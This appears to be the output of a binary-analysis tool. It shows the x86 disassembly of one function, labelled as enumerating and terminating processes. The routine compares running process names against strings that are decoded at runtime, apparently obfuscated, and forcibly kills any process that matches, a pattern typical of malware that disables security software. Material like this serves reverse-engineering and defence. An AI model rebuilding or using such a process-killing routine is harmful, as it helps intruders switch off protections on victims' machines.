Function at 0x4af460
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
mov eax, dword [0x60ef40]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0xffffffff
jne 0x4af492
xor al, al
jmp 0x4af72f
mov dword [ebp - 0x1b8], 0x128
lea eax, [ebp - 0x1b8]
push eax
mov ecx, dword [ebp - 0x1c8]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x4af4c7
mov edx, dword [ebp - 0x1c8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4af72f
mov byte [ebp - 0x1b9], 0
movzx eax, byte [0x617830]
test eax, eax
je 0x4af510
xor ecx, ecx
mov byte [ebp - 0x1ba], cl
lea edx, [ebp - 0x24]
push edx
lea ecx, [ebp - 0x1ba]
call fcn.004af740
mov ecx, eax
call fcn.004f0540
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x4af510
mov byte [ebp - 0x1b9], 1
movzx ecx, byte [ebp - 0x1b9]
test ecx, ecx
jne 0x4af6b6
xor edx, edx
mov byte [ebp - 0x1bb], dl
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1bb]
call fcn.004af7b0
mov ecx, eax
call fcn.004f05c0
push eax
lea ecx, [ebp - 0x194]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4af6b6
xor edx, edx
mov byte [ebp - 0x1bc], dl
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.004af840
mov ecx, eax
call fcn.004f05c0
push eax
lea ecx, [ebp - 0x194]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4af6b6
xor edx, edx
mov byte [ebp - 0x1bd], dl
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x1bd]
call fcn.004af8d0
mov ecx, eax
call fcn.004f05c0
push eax
lea ecx, [ebp - 0x194]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4af6b6
xor edx, edx
mov byte [ebp - 0x1be], dl
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x1be]
call fcn.004af960
mov ecx, eax
call fcn.004f16c0
push eax
lea ecx, [ebp - 0x194]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4af6b6
xor edx, edx
mov byte [ebp - 0x1bf], dl
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1bf]
call fcn.004af9e0
mov ecx, eax
call fcn.004f0340
push eax
lea ecx, [ebp - 0x194]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4af6b6
xor edx, edx
mov byte [ebp - 0x1c0], dl
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x1c0]
call fcn.004afa40
mov ecx, eax
call fcn.004f04c0
push eax
lea ecx, [ebp - 0x194]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4af6b6
xor edx, edx
mov byte [ebp - 0x1c1], dl
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x1c1]
call fcn.004afab0
mov ecx, eax
call fcn.004f16c0
push eax
lea ecx, [ebp - 0x194]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4af6b6
xor edx, edx
mov byte [ebp - 0x1c2], dl
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x1c2]
call fcn.004afb30
mov ecx, eax
call fcn.004f16c0
push eax
lea ecx, [ebp - 0x194]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x4af6fa
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x1b0], eax
je 0x4af6fa
mov edx, dword [ebp - 0x1b0]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1cc], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x1cc]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x1cc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1c8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4af4c7
mov ecx, dword [ebp - 0x1c8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00534c20
mov esp, ebp
pop ebp
ret